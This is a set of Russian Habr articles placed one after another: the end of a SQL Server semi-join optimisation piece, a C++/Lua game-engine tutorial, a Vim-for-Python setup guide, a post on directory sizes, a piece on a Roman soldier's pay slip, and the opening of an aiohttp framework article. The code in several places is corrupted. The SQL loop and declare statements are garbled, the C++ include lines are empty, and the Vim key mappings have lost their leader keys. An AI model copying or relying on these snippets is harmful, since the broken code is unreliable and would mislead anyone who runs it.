set @i = 0
while @i =@ii + 1@ii,@ii)@i < 100
begin
insert T2 values@i =@ii + 1@ii,@ii)
set @i =@ii + 1
end
select from T1
where exists (select from T2 where T2.a = T1.a)
```
Rows.....Executes
100......1..... |--Hash Match(Right Semi Join, HASH:([T2].[a])=([T1].[a]), RESIDUAL:([T2].[a]=[T1].[a]))
100......1 .........|--Table Scan(OBJECT:([T2]))
10000..1......... |--Table Scan(OBJECT:([T1]))
Обратите внимание, что для этого запроса оптимизатор выбрал хэш-соединение и вполне логично строит хэш-таблицу по маленькой таблице Т2, которая имеет всего 100 строк, и потом выбирает соответствующие им строки из большой таблицы T1, которая имеет 10000 строк.
### ТРАНСФОРМАЦИЯ
Предположим, что мы хотим создать индекс, который позволит ускорить исполнение запроса. Для этого нам мог бы подойти план, который использовал бы новый индекс и оператор соединения вложенных циклов (nested loops join). Определимся на какой из таблиц Т1 и Т2 нужно создать индекс. Для этого вспомним, что соединение вложенных циклов поддерживает только левое полу-соединение, и не поддерживает правое. Таким образом, в плане с вложенными циклами и полу-соединением, таблица Т1 должна быть внешней, а Т2 внутренней. Значит нам нужно попытаться создать индекс на таблице Т2:
```
create clustered index T2a on T2(a)
```
К сожалению, создание индекса план исполнения нашего запроса не изменило. Оптимизатор решил, что с этим индексом выйдет 10000 обращений к данным (по одному для каждой строки в T1), что дороже, чем хэш-соединение. К счастью, у нас есть еще один менее очевидный вариант. Мы можем создать индекс на большой таблице T1:
```
create clustered index T1a on T1(a)
select from T1
where exists (select from T2 where T2.a = T1.a)
```
Теперь мы получаем соединение вложенных циклов по индексу:
Rows........Executes
100.........1........|--Nested Loops(Inner Join, OUTER REFERENCES:([T2].[a], [Expr1009]) WITH UNORDERED PREFETCH)
100.........1............ |--Stream Aggregate(GROUP BY:([T2].[a]))
100.........1............ |.......|--Clustered Index Scan(OBJECT:([T2].[T2a]), ORDERED FORWARD)
100.........100........ |--Clustered Index Seek(OBJECT:([T1].[T1a]), SEEK:([T1].[a]=[T2].[a]) ORDERED FORWARD)
Но подождите минуту! Этот план имеет внутреннее соединение. Что случилось с полу-соединением? Помните, что полу-соединение просто возвращает для каждой строки из T1 как минимум одну соответствующую строку из T2. Внутреннее соединение может использоваться для выбора соответствующих условию строк, если нет необходимости возвращать дубликаты строк из Т1. В этом плане, мы используем сканирование упорядоченного кластеризованного индекса Т2 и оператор «Stream Aggregate», чтобы устранить возможные дубликаты значений Т2.а. В процессе соединения строки из Т2 со строками в Т1 подразумевается, что соответствие каждой строке Т1 будет установлено только однажды. Обратите внимание, что в отличие от оригинального хэш-соединения, план которого затронул все 10000 строк T1, этот план выполняет только 100 неповторяющихся поисковых запросов к индексу Т1.
### КОГДА ПОДОБНАЯ ТРАНСФОРМАЦИЯ ПОЛЕЗНА?
Трансформация, или лучше сказать, преобразование полу-соединения во внутреннее соединение помогает тогда, когда, как в данном примере, мы имеем большое количество строк на “увесистой” стороне соединения (таблица Т1 в примере), и после преобразования у нас появляется возможность использования оператора поиска по индексу, что иначе было невозможно.
Трансформация также имеет смысл, если количество строк на той стороне соединения, где работает поиск по индексу, очень большое, но большинство этих строк дублируется. Поскольку полу-соединение не зависит от дубликатов, мы можем их устранить. Например, удалим индекс на таблице Т1 и создадим новую таблицу Т3, у которой будет 10000 строк, и все они будут дубликаты:
```
drop index T1.T1a
create table T3 (a int, b int)
set nocount on
declare @i =@ii + 1(0, @i)@i < 10000@i = 0@i int
set @i =@ii + 1(0, @i)@i < 10000@i = 0
while @i =@ii + 1(0, @i)@i < 10000
begin
insert T3 values@i =@ii + 1(0, @i)
set @i =@ii + 1
end
select from T1
where exists (select from T3 where T3.a = T1.a)
```
Rows........Executes
1.............1....... |--Hash Match(Inner Join, HASH:([T3].[a])=([T1].[a]), RESIDUAL:([T3].[a]=[T1].[a]))
1.............1............ |--Hash Match(Aggregate, HASH:([T3].[a]), RESIDUAL:([T3].[a] = [T3].[a]))
10000.....1............ |.........|--Table Scan(OBJECT:([T3]))
10000....1............. |--Table Scan(OBJECT:([T1]))
Обратите внимание, что даже без индексов в плане используется хэш-соединение, и тут тоже полу-соединение превращается во внутреннее соединение. На этот раз, поскольку индекса нет, используется хэш-агрегирование, что позволяет исключить повторяющиеся значения из Т3.а. Без трансформации, хэш-соединение построило бы хэш-таблицу для всех 10000 строк из Т3. С использованием трансформации построена хэш-таблица для одной строки.
### УНИКАЛЬНЫЙ ИНДЕКС
Если добавить уникальный индекс, после чего существование повторяющиеся значений в Т2.a будет невозможно, оптимизатору не потребуется устранять дубликаты и он тогда сможет выполнить подобное преобразование ещё проще. Пример:
```
create unique clustered index T2a on T2(a) with (drop_existing = on)
select from T1
where exists (select from T2 where T2.a = T1.a)
```
Rows.........Executes
100 .........1......|--Hash Match(Inner Join, HASH:([T2].[a])=([T1].[a]), RESIDUAL:([T2].[a]=[T1].[a]))
100..........1............|--Clustered Index Scan(OBJECT:([T2].[T2a]))
10000......1........... |--Table Scan(OBJECT:([T1]))
Поскольку мы удалили индекс на Т1 (см. выше), мы снова получаем хэш-соединение. Однако, в отличие от первоначального плана с правым полу-соединением, теперь мы получаем внутреннее соединение. Нет необходимости в полу-соединении, потому что оптимизатор знает, что в Т2 дубликатов быть не может и что планы с полу-соединением и внутренним соединением эквивалентны. | https://habr.com/ru/post/661757/ | null | ru | null |
# Свой скриптовый движок для игр средствами С++ и Lua (часть — 1)
### Предисловие
Возможно у вас наступал такой момент, что хотелось написать свой движок для игр, или просто вы хотели узнать, как такое реализовать, но по каким — то причинам вам это не удавалось.
Ну что ж, тема довольно обширная, поэтому я начинаю серию уроков по написанию своего 2д игрового движка, и поверьте он будет не хуже того же Love2d, именно такого стиля и будет наш движок.
#### Что нужно?
* Средние знания С++(на нем и будем писать двигатель).
* Базовые знания Lua (для описания игровой логики).
#### Как все устроено?
Вся игровая логика будет программироваться в файле, например — «main.lua». Движок будет читать этот файл и исполнять действия описанные в этом файле. Вывод графики будет с помощью SDL 2.0, физика — Box2D, аудио — OpenAl, скриптинг — Lua. IDE — Microsoft Visual Studio любой версии.
#### Нарисовал схему
### Начинаем!
Сначала надо скачать:
1. Lua
2. SDL 2.0
3. Box2D (надо будет скомпилировать самому)
4. OpenAL
Скачайте и переместите все файлы в отдельную папку, например — «Engine SDK». Открываем MVS, создаем «пустое» консольное приложение, далее добавляем файл — «main.cpp».
Заполняем пока таким образом:
```
int main()
{
return 0;
}
```
Компилируем, если скомпилировалось, идем дальше. Жмем «Project → project properties». Выбираем «C/C++ → General» и добавляем дополнительные папки включения (указывайте путь где вы извлекли из архива Lua). Указываем путь к «include» Lua.
После этого заходим «Linker → General» и добавляем путь к либе.
Применяем и изменяем «main.cpp»
```
int main(int argc, char * argv[])
{
return 0;
}
```
Компилируем, идем дальше. Далее нам нужно создать отдельный заголовочный файл, в котором будет основная часть движка. Добавляем файл «Engine.h». И сразу заполняем его таким образом.
```
#include
#include
#pragma comment(lib,"lua53") // на момент написания статьи версия Lua 5.3.
using namespace std;
class Lua
{
private:
lua\_State \* lua\_state;
public:
void Init() // инициализируем и подключаем модули.
{
lua\_state = luaL\_newstate();
static const luaL\_Reg lualibs[] =
{
{ "base", luaopen\_base },
{ "io", luaopen\_io },
{ "os",luaopen\_os },
{ "math",luaopen\_math },
{ "table",luaopen\_table },
{ "string",luaopen\_string },
{ "package",luaopen\_package },
{ NULL, NULL }
};
for (const luaL\_Reg \*lib = lualibs; lib->func != NULL; lib++)
{
luaL\_requiref(lua\_state, lib->name, lib->func, 1);
lua\_settop(lua\_state, 0);
}
}
void Open(const char\*filename) // открываем файл с кодом (main.lua)
{
luaL\_openlibs(lua\_state);
if (luaL\_dofile(lua\_state, filename))
{
const char\*error = lua\_tostring(lua\_state, -1);
}
}
void Close() // закрываем
{
lua\_close(lua\_state);
}
void Reg\_int(int value, char\*name)
{
lua\_pushinteger(lua\_state, value);
lua\_setglobal(lua\_state, name);
}
void Reg\_double(double value, char\*name)
{
lua\_pushnumber(lua\_state, value);
lua\_setglobal(lua\_state, name);
}
void Reg\_bool(bool value, char\*name)
{
lua\_pushboolean(lua\_state, value);
lua\_setglobal(lua\_state, name);
}
void Reg\_string(char\*value, char\*name)
{
lua\_pushstring(lua\_state, value);
lua\_setglobal(lua\_state, name);
}
void Reg\_function(lua\_CFunction value, const char\*name) // регистр нашей функции
{
lua\_pushcfunction(lua\_state, value);
lua\_setglobal(lua\_state, name);
}
int Get\_int(int index) // берем числовой аргумент из функции
{
return (int)lua\_tointeger(lua\_state, index);
}
double Get\_double(int index)
{
return lua\_tonumber(lua\_state, index);
}
char\* Get\_string(int index)
{
return (char\*)lua\_tostring(lua\_state, index);
}
bool Get\_bool(int index)
{
return lua\_toboolean(lua\_state, index);
}
void Return\_int(int value) // возвращаем числовое значение из функции
{
lua\_pushinteger(lua\_state, value);
}
void Return\_double(double value)
{
lua\_pushnumber(lua\_state, value);
}
void Return\_string(char\*value)
{
lua\_pushstring(lua\_state, value);
}
void Return\_bool(int value)
{
lua\_pushboolean(lua\_state, value);
}
int Call\_load() // вызываем при старте
{
lua\_getglobal(lua\_state, "Load");
lua\_call(lua\_state, 0, 1);
return 0;
}
int Call\_update() // вызываем пока работает приложения
{
lua\_getglobal(lua\_state, "Update");
lua\_call(lua\_state, 0, 1);
return 0;
}
int Call\_draw()
{
lua\_getglobal(lua\_state, "Draw"); // вызываем после "Update"
lua\_call(lua\_state, 0, 1);
return 0;
}
};
Lua lua;// lua экземпляр
```
Компилируем, если нет ошибок, идем дальше, если же есть, значит вы где- то накосячили. Изменяем «main.cpp»:
```
include "Engine.h"
int main(int argc, char * argv[])
{
lua.Init();
lua.Open("main.lua");
lua.Call_load();
lua.Close();
return 0;
}
```
Компилируем, если без ошибок, двигаемся дальше. Создаем в папке проекта текстовый файл «main.lua». Заполняем его так:
```
function Load()
print("Lua inited!")
end
function Update()
end
function Draw()
end
```
Компилируем, бросаем «lua5\*.dll» в папку проекта, запускаем, и Оппа! В консоле вывело «Lua inited!». По сути мы написали простой Lua — интерпретатор. В второй части приступим к выводу графики. | https://habr.com/ru/post/330062/ | null | ru | null |
# Настраиваем Vim для работы с Python кодом
Сейчас достаточно много постов и видео на тему как сделать из Vim Python IDE. Написать эту статью я решил потому, что уже долгое время пользуюсь этим редактором и надеюсь что мой опыт по его настройке, о котором я напишу в этой статье не помешает. Я не собираюсь делать из Vim «комбайн», напичкав его огромным количеством плагинов, а постараюсь обойтись средствами самого редактора и несколькими расширениями, которые помогут Python разработчикам чувствовать себя более комфортно. Давайте приступим.
###### LiveReload
Большинство web — разработчиков в наше время с трудом представляют свою жизнь без этого замечательного расширения. Оно есть в таких редакторах как WebStorm, Sublime Text и существует как отдельное приложение для редакторов не поддерживающих LiveReload. К сожалению Vim относится к таким редакторам. Расширение есть, но оно давно уже устарело и не поддерживает последний протокол LiveReload 2.
К счастью есть замечательная консольная утилита, которая называется python-livereload. Из огромных плюсов данной утилиты — не нужно устанавливать плагин для Google Chrome, Firefox и т.д., утилита бесплатная. Получить исходники можно тут [github.com/lepture/python-livereload](https://github.com/lepture/python-livereload) установить ее можно через pip или easy\_install:
```
pip install livereload
```
Прежде чем начать редактирование нам необходимо создать Guardfile, который является обычным Python скриптом.
```
#!/usr/bin/env python
from livereload.task import Task
Task.add('css/*.css')
Task.add('*.html')
```
После чего в текущей директории мы можем запустить сервер LiveReload командой:
```
livereload -p 8000
```
Python-livereload так же поддерживает less, coffee, uglifyjs и slimmer. Достаточно импортировать соответствующую функцию из модуля livereload.compiler, например:
```
#!/usr/bin/env python
from livereload.task import Task
from livereload.compiler import lessc, coffee
Task.add('css/*.css')
Task.add('*.html')
Task.add('css/style.less', lessc('style.less', 'style.css')
Task.add('js/main.coffee', coffee('main.coffee', 'main.js')
```
###### Базовые настройки редактора vim
Теперь поговорим о базовых настройках, которые помогут нам в дальнейшем комфортно работать с кодом. Для начала давайте установим клавишу leader.
set mapleader = ","
Клавиша leader позволяет нам создавать собственные комбинации, при этом не портя стандартные, которые уже присутствуют в редакторе. В качестве клавиши leader я установил комбинацию "," вы можете установить любую другую.
Из редактора я постарался убрать все лишнее (кроме вкладок в GUI). Для этого воспользуемся следующими настройками
```
if has('gui_running') " Глобальные настройки на GUI Vim
set guioptions-=m " убираем меню
" set guioptions-=e " убираем вкладки GUI делаем их как в консоли
set guioptions-=T " убираем тулбар
set guioptions-=r " убираем полосы прокрутки справа
set guioptions-=L " убираем полосы прокрутки слева
set background=light " Цвет фона темный или светлый
set guioptions-=R
set guioptions-=l
endif
```
Обратите внимание на закоментированную строку set guioptions-=e. Если ее включить вкладки у вас будут выглядеть как в консольном виме:
Отступы между черточками, разделяющие окно редактора можно убрать так
```
set fillchars=stl:\ ,stlnc:\ ,vert:│
```
Теперь настроим не отображаемые символы, к ним относятся пробельные символы, символы переноса строки и символы табуляции. Я использую следующие настройки
```
if has('multi_byte')
if version >= 700
" set listchars=tab:»\ ,trail:·,eol:¶,extends:→,precedes:←,nbsp:×
set listchars=tab:▸\ ,eol:¬ # TextMate
else
set listchars=tab:»\ ,trail:·,eol:¶,extends:>,precedes:<,nbsp:_
endif
endif
nmap l :set list!
```
Я привязал комбинацию leader + l для включения и выключения не отображаемых символов, так как они не всегда нужны, а иногда даже мешают редактированию.
*Совет: иногда при вставке текста в редактор не сохраняется форматирование и в редакторе появляется какая то белиберда. Что бы этого избежать добавьте в vimrc строку **set paste** или перед вставкой текста введите команду **:set paste***
###### Vundle
Vundle позволяет с легкостью устанавливать и обновлять расширения. Далее в статье для установки расширений мы будем использовать именно этот плагин. Установка на займет много времени, поэтому давайте сразу его установим:
```
git clone https://github.com/gmarik/vundle.git ~/.vim/bundle/vundle
```
Теперь необходимо добавить следующие строки в .vimrc:
```
set nocompatible
filetype off
set rtp+=~/.vim/bundle/vundle/
call vundle#rc()
" тут будем добавлять наши расширения
filetype plugin indent on
" тут пойдут наши собственные настройки vim
```
Для установки расширений воспользуйтесь следующим форматом
```
Bundle 'tpope/vim-fugitive' " установка из Github
Bundle 'FuzzyFinder' " установка из репозиториев vim-scripts
Bundle 'git://git.wincent.com/command-t.git' " установка из Git
```
###### Powerline
Статусная строка в vim выглядит уныло и некрасиво. К счастью есть плагин, который делает ее более информативной и красивой. Пример того, как выглядит строка состояния у меня
Установка: Bundle 'Lokaltog/vim-powerline'
Что бы отображалась ветка текущего репозитория git, в директории которого вы находитесь добавьте и установите Bundle 'tpope/vim-fugitive'. Для корректной работы Powerline необходимо скачать исправленные шрифты [отсюда](https://github.com/Lokaltog/powerline-fonts), установить их и прописать в редакторе. Например:
```
set guifont=Menlo\ Regular\ for\ Powerline:h12
```
###### Command-T
Command-T это отличное расширение позволяющее вам быстро открывать файлы по их названию, переключаться между буферами или тегами.
Установка: Bundle 'wincent/Command-T'
Далее необходимо перейти в директорию расширения command-t и запустить rake make:
```
cd .vim/bundle/command-t
rake make
```
Клавиатурные комбинации можно настроить следующим образом:
```
map f :CommandT
map b :CommandTBuffer
```
Теперь по leader + f открывается Command-T, leader + b открывает список открытых буферов.
###### Pyhton mode
Python mode позволяет сделать из редактора почти что полноценную IDE. Из того, что умеет python-mode:
1. Подсветка ошибок через pyflakes, pep8, pylint, mccable, pep257
2. Полная поддержка Rope (RopeCompletion, RopeGotoDefinition, RopeRename, RopeAutoImport, и т.д.)
3. Поддержка virtualenv
Пример настроек python-mode
```
" Включаем библиотеку Rope
let g:pymode_rope = 1
" Включаем linting
let g:pymode_lint = 1
" Какие ошибки подсвечивать
let g:pymode_lint_checker = "pyflakes,pep8"
" Отключаем надоедливое окно, отображающее ошибки и предупреждения
let g:pymode_lint_cwindow = 0
" Включаем поддержку virtualenv
let g:pymode_virtualenv = 1
" Подсветка синтаксиса и ошибок
let g:pymode_syntax = 1
let g:pymode_syntax_all = 1
let g:pymode_syntax_indent_errors = g:pymode_syntax_all
let g:pymode_syntax_space_errors = g:pymode_syntax_all
" Отключаем фолдинг
let g:pymode_folding = 0
" Загружаем плагин для вставки брейкпоинтов
let g:pymode_breakpoint = 1
" По leader + e будет устанавливаться брейкпоинт
let g:pymode_breakpoint_key = 'e'
```
Клавиатурные комбинации:
| Комбинация | Описание |
| --- | --- |
| C-c-g | Go to definition |
| C-space | Rope autocomplete |
| C-c-d | Rope show documentation |
| C-c-f | Rope find occurrences |
Для Rope autocomplete я настроил комбинацию leader+c. Включается она так
```
imap c =RopeCodeAssistInsertMode()
```
Мой файл конфигурации Vim с подробными комментариями можете посмотреть тут [github.com/aliev/vim](https://github.com/aliev/vim)
###### Другие полезные расширения vim
[MatchTag](https://github.com/gregsexton/MatchTag)
Bundle 'gregsexton/MatchTag'
Подстветка парных html, xml тегов
[EndWise](https://github.com/tpope/vim-endwise)
Bundle 'tpope/vim-endwise'
Отличное расширение для рубистов, которое позволяет автоматически закрывать блоки в Ruby
[Emmet](https://github.com/mattn/emmet-vim/)
Bundle 'mattn/emmet-vim'
Я очень долго ждал это расширение. Поддержка emmet (переименованный Zen Coding)
[T-Comment](https://github.com/tomtom/tcomment_vim)
Bundle 'tomtom/tcomment\_vim'
Комментирование блоков кода с автоматическим определением языка | https://habr.com/ru/post/196550/ | null | ru | null |
# Размер директорий не стоит наших усилий
Это совершенно бесполезный, ненужный в практическом применении, но забавный небольшой пост про директории в \*nix системах. Пятница же.
На собеседованиях часто проскакивают скучные вопросы про айноды, всё-есть-файлы, на которые мало кто может вменяемо ответить. Но если копнуть чуть глубже, можно найти любопытные вещи.
Для понимания поста немного тезисов:
* всё есть файл. директория — это тоже файл
* в айноде хранятся мета-данные от файла, но имя файла там не хранится
* имя файла хранится в данных директории
* размер директории, тот самый который показывается в ls и по умолчанию 4Кб, зависит от количества файлов в директории и длины их имен
* очевидно, что чем больше файлов, тем больше размер директории
А теперь интересное: создаём директорию с миллионом файлов, проверяем размер директории, а потом вытираем все файлы и смотрим на размер директории.
```
$ mkdir niceDir && cd niceDir
# в зависимости от скорости носителя, следующая команда может занять 2-10 минут
$ for ((i=1;i<133700;i++)); do touch long_long_looong_man_sakeru_$i ; done
$ ls -lhd .
drwxr-xr-x 2 user user 8.1M Aug 2 13:37 .
$ find . -type f -delete
$ ls -l
total 0
$ ls -lhd .
drwxr-xr-x 2 user user 8.1M Aug 2 13:37 .
```
Как можно заметить, размер директории не поменялся, хотя казалось бы :)
Починить размер директории (без удаления) можно только с помощью fsck (и опции -D) в отмонтированном состоянии.
А вот когда я пошёл искать, почему это так, то оказалось, что 10 лет назад такое поведение уже [обсуждали](https://lkml.org/lkml/2009/5/15/146) в lkml. И по мнению разработчиков исправление просто не стоит вложенных усилий. | https://habr.com/ru/post/462295/ | null | ru | null |
# Расчетный листок, полученный римским солдатом X легиона. 2000 лет пролетело — ничего не изменилось…
Листок папируса, найденный близ крепости Масады в Израиле, представляет собой расписку о получении жалования (и вычетах из него) одного из солдат римской армии.
На самом деле армия Римской империи – это не только стройные ряды когорт, блеск доспехов, топот солдатских калиг, звуки труб и взметнувшиеся штандарты и орлы легионов над ними, как в исторических блокбастерах Голливуда, но так же контроль и учет всех расходов, тщательно просчитанная логистика снабжения и, как следствие, куча бюрократических проволочек, бумаг и документов.
Перед нами один из таких замечательных документов – квиток о получении зарплаты солдатом Гаем Мессием с подробно расписанными вычетами из нее.
Давайте познакомимся с нашим "расчетным листком" поближе.
Текст гласит:
`[hand1] [Imp(eratore) Ves]pas[ia]n[o Au]g(usto) IIII co(n)[s(ule)] | [r]atio st[ip]end[i]a | C(aius) Messius C(aii) f(ilius) Fab(ia) Beru(tensis) | [accepi st]ipendi(um) x L | ex eos s[olvi] | hordiaria [x XVI] | [hand 2] […u]rnius | sumtuarium x XX[…] | c[a]ligas x V | lorum fasciari(um) x II | tunica linia x VII || accepi stipendi(um) x LX[II] | ex eos solvi | hordiaria x XV[I] | sumtuarium x [XX] | [hand 3] C(aius) Antonius | pallium opertoriu(m) [x …] | [hand 4] Puplius Valerius | tun[i]ca alba [x …]`
[hand 1,2,3,4] Указание на почерк: записи на листке написаны не одним человеком, а несколькими разными.
Примерный перевод:
*Четвертое консульство Императора Веспасиана Августа.Счет (зарплата).Гай Мессий, сын Гая, из рода Фабия из Бейрута. Я получил выплату в размере 50 денариев, из которых заплатил: 16 денариев ячменя.* *[…]rnius:* *расходы на питание 20 (?) денариев;* *калиги 5 денариев;* *кожаные ремни 2 денария;* *льняная туника 7 денариев.*
"Четвертое консульство Императора Веспасиана Августа" – означает 72-73 гг. нашей эры. В то время X легион осаждал здесь последний оплот восставших против империи иудеев-зелотов. После двухлетней жестокой осады неприступная, казалось, крепость на вершине горы все-таки была взята.
 Крепость Масада. Справа видна насыпь построенная легионерами для осадных машин.А теперь давайте вместе быстро прикинем. У Гая Мессия вычли из жалованья:
1. Шестнадцать денариев за ячмень — корм для лошади или мула;
2. Двадцать денариев — это расходы на питание самого солдата;
3. Пять денариев — за калиги (солдатская обувь);
4. Два денария — за кожаные ремни;
5. Семь денариев — за льняную тунику.
Получается ровно 50 денариев, так что Гай Мессий получил вместо жалования... да, именно — шиш с маслом. Хорошо, что еще не остался должен.
Сколько получал рядовой легионер в год в то время? Около 300 денариев, но, скорее всего, наш Гай служил во вспомогательных частях легиона и вряд ли получал более 100 денариев, то есть, это, вероятно, его жалование за шесть месяцев, из которого он, увы, не получил ни одного медного асса (римская мелкая монета).
Не такое уж выгодное дело — служба в римской армии для рядовых солдат. Кстати, за оружие и доспехи, выданные им, легионеры также платили из своего кармана.
***Так что, если расчетный листок вашей зарплаты не радует, а годовые бонусы опять (в который раз!) срезали, просто вспомните бедолагу Гая Мессия, который за полгода, проведенные на войне, не получил в итоге даже ломанного гроша.***
Автор: Лысый Камрад ([@LKamrad](https://habr.com/ru/users/LKamrad/))
Примечание: Почему записи на "расчетке" сделаны разными людьми, а не самим Гаем Мессием? Он должен был отметить в "квитке", все свои задолженности за период получения зарплаты, вот эти записи об их погашении, скорей всего, и делали разные должностные лица легиона.
Источники:
<https://armyofromanpalestine.com/0022>
[https://ru.wikipedia.org/wiki/Стипендиум](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B8%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%83%D0%BC)
---
Дата-центр ITSOFT — размещение и аренда серверов и стоек в двух дата-центрах в Москве. За последние годы UPTIME 100%. Размещение GPU-ферм и ASIC-майнеров, аренда GPU-серверов, лицензии связи, SSL-сертификаты, администрирование серверов и поддержка сайтов. | https://habr.com/ru/post/598299/ | null | ru | null |
# Написание framework на asyncio, aiohttp и мысли про Python3 часть первая
Года полтора назад встал вопрос совместимости написанного кода с `Python3`. Поскольку уже стало более менее очевидно, что развивается только `Python3` и, рано или поздно, все библиотеки будут портированы под него. И во всех дистрибутивах по [умолчанию будет тройка](http://www.opennet.ru/opennews/art.shtml?num=41989). Но постепенно, по мере изучения, что нового появилось в последних версиях `Python` мне все больше стал нравится `Asyncio` и, скорее, даже не `Acyncio` а написанный для работы с ним `aiohttp`. И, спустя какое то время, появилась небольшая обертка вокруг `aiohttp` в стиле `like django`. Кому интересно что из этого получилось прошу под кат.
[Вторая часть](https://habrahabr.ru/post/252575/)
[Введение](#0)
[Краткий обзор других фреймворков на базе aiohttp](#01)
[1. Структура](#1)
[2. aiohttp и jinja2](#2)
[3. aiohttp и роуты](#3)
[4. Статика и GET, POST параметры, редиректы](#4)
[5. Websocket](#5)
[6. asyncio и mongodb, aiohttp, session, middleware](#6)
[7. aiohttp, supervisor, nginx, gunicorn](#7)
[8. После установки, о примерах.](#8)
[9.RoadMap](#9)
### Введение
На тот момент уже были готовы для `Python3` практически все часто используемые в проектах библиотеки.
Почивший `PIL` был прекрасно заменен на `Pillow`, `tweppy` на `twython`, `python-openid` на `python3-openid` и т.д. `Jinja2`, `xlrt`, `xlwt` и прочие уже были с поддержкой `Python3`.
Грубо говоря, все, что надо было реализовать, это чтобы система отдавала данные в виде `bytes`:
```
def application(env, start_response):
start_response('200 OK', [('Content-Type','text/html')])
return bytes("Hello World", 'utf-8')
```
Немного, с переименованием библиотек помучаться:
```
py = sys.version_info
py3k = py >= (3, 0, 0)
if py3k:
unicode = str
import io as StringIO
import builtins as __builtin__
else:
import StringIO
```
Ну и, естественно, по мере изучения что нового появилось, Python3 не мог не привлечь внимание `Asyncio`. Встроенный в `python3` асинхронный движок. Появившийся, правда, только в `3.4` версии. И только с версии [3.5](http://www.opennet.ru/opennews/art.shtml?num=42952), которая вышла на днях, у него появился достаточно удачный синтаксический сахар, об этом чуть ниже.
Первое время, конечно, на нем что-то писать было дико неудобно и, насколько я понял, все по прежнему пользовались `tornado`, `gevent`, `twisted` или оберткой вокруг того же asynio и `twisted` — [autobuh](http://autobahn.4ws/python/). Достаточно неплохим продуктом. Но время шло и один из разработчиков `asyncio` [svetlov](https://habrahabr.ru/users/svetlov/) создал достаточно быстро развивающийся асинхронный фреймворк `aiohttp`. `Aiohttp` упрощает разработку с помощью `asyncio` примерно до уровня `flask` или `bottle`.
Но с довольно легко подключаемыми websocket-ами и при желании позволяющий выполнять большинство операций асинхронно, и, на мой взгляд, с довольно небольшой ценой за это, особенно с оглядкой на `python3.5`.
Примерно это выглядит так:
```
#python3.4
@asyncio.coroutine
def read_data():
data = yield from db.fetch('SELECT . . . ')
#python3.5
async def read_data():
data = await db.fetch('SELECT ...')
```
Поскольку до сих пор для написания чатов, игрушек, конференций с `webrtc`, где есть `websoket`-ы мне приходилось пользоваться либо `gevent` либо `autobah` либо в некоторых случаях `node.js`, взвесив все за и против очень захотелось переписать свои библиотеки на `aiohttp`, который за последний год успел обрасти своей эко-системой, и рядом удобных возможностей. И так появилась эта публикация.
Надо еще добавить что в `aiohttp` вполне можно писать и синхронно, выполнять блокирующие операции, хотя это и не совсем правильно.
Дальше будет описана работа с `aiohttp` и создание небольшого фреймворка в стиле `like django`, с похожей структурой и возможностями.
Естественно от версии 0.1 ожидать каких то батареек не приходится, но думаю, что в следующей версии, уже можно будет увидеть много положительных сдвигов.
### Краткий обзор других фреймворков на базе asyncio и aiohttp
Тут хочется привести очень краткий обзор, чтоб было общее представление о состоянии дел на данный момент с написанием асинхронных библиотек, упрощающих жизнь разработчиков, в `Python3`.
Все ниже перечисленные фреймворки можно поделить на две категории — те, которые по зависимостям тянут `aiohttp` и базируются на нем, и те, которые работают без него, только с `asyncio`.
[Pulsar](https://github.com/quantmind/pulsar) — `framework` использующий `asyncio` и `multiprocessing`. Интегрируется с `django`, `hello world` на нем выглядит как обычный `wsgi`. На `github` есть достаточно много примеров использования, например чатов, автор, насколько я понял, любит `angular.js`
**Pulsar-hello world**
```
from pulsar.apps import wsgi
def hello(environ, start_response):
data = b'Hello World!\n'
response_headers = [ ('Content-type','text/plain'), ('Content-Length', str(len(data))) ]
start_response('200 OK', response_headers)
return [data]
if __name__ == '__main__':
wsgi.WSGIServer(callable=hello).start()
```
[Mufin](https://github.com/klen/muffin) — `framework` базирующийся на `aiohttp`. У него есть некоторое количество плагинов, насколько я понял, написанных, по возможности, асинхронно. Также, имеется развернутое на `Heroku` тестовое приложение в виде чата.
**Mufin - hello world**
```
import muffin
app = muffin.Application('example')
@app.register('/', '/hello/{name}')
def hello(request):
name = request.match_info.get('name', 'anonymous')
return 'Hello %s!' % name
```
[introduction](https://github.com/inventive-ninja/interest) — еще один базирующийся на `aiohttp` `framework`
**Пример introduction**
```
from interest import Service, http
class Service(Service):
@http.get('/')
def hello(self, request):
return http.Response(text='Hello World!')
service = Service()
service.listen(host='127.0.0.1', port=9000, override=True, forever=True)
```
[Spanner.py](https://github.com/ChannelOne/Spanner.py) — позиционируется как микро `web-framework` написанный на python для людей :), автора вдохновляли `Flask` и `express.js`. Использует только `asyncio`. Выглядит действительно довольно лаконичным.
**Пример**
```
from webspanner import Spanner
app = Spanner()
@app.route('/')
def index(req, res):
res.write("Hello world")
```
[Growler](https://github.com/pyGrowler/Growler) — `framework` использующий только `asyncio`, авторы говорят что взяли идеи `node.js` и `express`.
**Growler hello world**
```
import asyncio
from growler import App
from growler.middleware import (Logger, Static, Renderer)
loop = asyncio.get_event_loop()
app = App('GrowlerServer', loop=loop)
# Добавление нескольких middleware приложений
app.use(Logger())
app.use(Static(path='public'))
@app.get('/')
def index(req, res):
res.render("home")
Server = app.create_server(host='127.0.0.1', port=8000)
loop.run_forever()
```
[astrid](https://github.com/Parkayun/astrid) — Простой `flask` подобный `framework` основанный на `aiohttp`.
**Пример**
```
import os
from astrid import Astrid
from astrid.http import render, response
@app.route('/')
def index_handler(request):
return response("Hello")
app.run()
```
### 1. Структура
Итак, у нас должна быть сама библиотека, которую мы хотим устанавливать с помощью `pip install` и в которой должны быть модули или батарейки, идущие в составе — например, админка или веб-магазин. И должен быть проект, который мы создаем в каком-то месте, в котором разработчик должен иметь возможность добавлять свои модули с разным функционалом.
В каждом компоненте как проекта, так и самой библиотеки должна быть папка со статикой и папка с шаблонами, файлик со списком роутов и файлик или файлики с запросами к базе и выводом всего этого в шаблоны.
Если нужно `python 3.5` устанавливается так:
```
sudo add-apt-repository ppa:fkrull/deadsnakes
sudo apt-get update
sudo apt-get install python3.5 python3.5-dev
```
Библиотека — устанавливается через `pip3 install`:
```
apps->
app->
static
templ
view.py
routes.py
app1-> ...
app2-> ...
core->
core.py
union.py
utils.py
```
Пример проекта — их может быть сколько угодно штук, в идеале для каждого сайта свой:
```
apps->
app->
static
templ
view.py
routes.py
app1-> ...
app2-> ...
static
templ
view.py
route.py
settings.py
```
Содержание файликов со списком роутов мы хотим видеть примерно таким:
```
from core.union import route
route('GET' , '/', page )
route( 'GET' , '/db', test_db )
```
А `view` где эти роуты обрабатываются такого типа:
```
async def page(request):
return templ('index', request, {'key':'val'})
```
